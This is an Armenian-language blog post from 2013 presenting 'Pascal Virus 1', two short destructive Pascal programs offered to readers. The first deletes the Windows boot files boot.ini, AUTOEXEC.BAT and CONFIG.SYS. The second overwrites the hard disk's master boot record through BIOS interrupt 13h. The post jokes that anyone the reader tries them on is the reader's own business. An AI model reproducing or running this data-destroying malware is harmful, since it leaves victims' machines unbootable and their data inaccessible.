Պասկալ Վիրուս 1

| Փետրվար 14, 2013 | Մեկնաբանված չէ |

էն ով էր ասում, որ պասկալը հիմար և հնացած ծրագրավորման լեզու ա??????

Դու? Դե կարդա էս հոդվածը! Գրելու եմ 1 հոդված- 1 վիրուս ձևով (Բացի էս մեկից):

Վիրուս Համար 1:

program virus1;
var
f : file;
begin
assign(f, ‘c:/boot.ini’);
erase(f);
assign(f, ‘c:/AUTOEXEC.BAT’);
erase(f);
assign(f, ‘c:/CONFIG.SYS’);
erase(f)
end.

Դե ոնց հասկացար վիրուսը ուղղակի ՈՉՆՉԱՑՆՈՒՄԱ  3 շատ կարևոր ֆայլ և որից հետո համակարգիչը դժվար ապրի:

 

Բայց քանի որ էս տեմայով առաջին հոդվածն ա + 1 հատ էլ նվեր :-)

Եթե քեզ թվում ա, որ հասկացար ինչ ա անում էս մեկը Comment գրի :-)

Program virusbonus;
uses dos,crt;
var reg:registers;
f:file;
buf: array[1..512] of char;
begin
buf[1]:=’M';
buf[2]:=’B';
buf[3]:=’R';
buf[4]:=’ ‘;
buf[5]:=’K';
buf[6]:=’I';
buf[7]:=’L';
buf[8]:=’L';
buf[9]:=’E';
buf[10]:=’D';
buf[11]:=’ ‘;
buf[12]:=’!';
buf[13]:=’!';
buf[14]:=’!';
with reg do
begin
ah:=3;
al:=1;
dl:=$80;
dh:=0;
cx:=1;
es:=seg(Buf);
bx:=ofs(buf);
intr($13,reg)
end
end.

 

Ու մի հատ կրացում- Վիրուսը օգտագործելով լրիվ պատասխանատվությունը քո վրա: Ստեղ մենակ սովորի :-) Ու թե ում վրա կփորձես, լրիվ քո գործնա :-D

 

Սկզբնաղբյուր: Հայ Հաքեր Բլոգ

Պասկալ Վիրուս 1, 10.0 out of 10 based on 5 ratings

Նշագրեր: , , , , ,

Բաժին: Ծրագրավորման լեզուներ, Ծրագրավորում, Ուսումնական նյութեր

Կիսվել , տարածել , պահպանել

VN:F [1.9.20_1166]
Rating: 10.0/10 (5 votes cast)

Մեկնաբանեք

161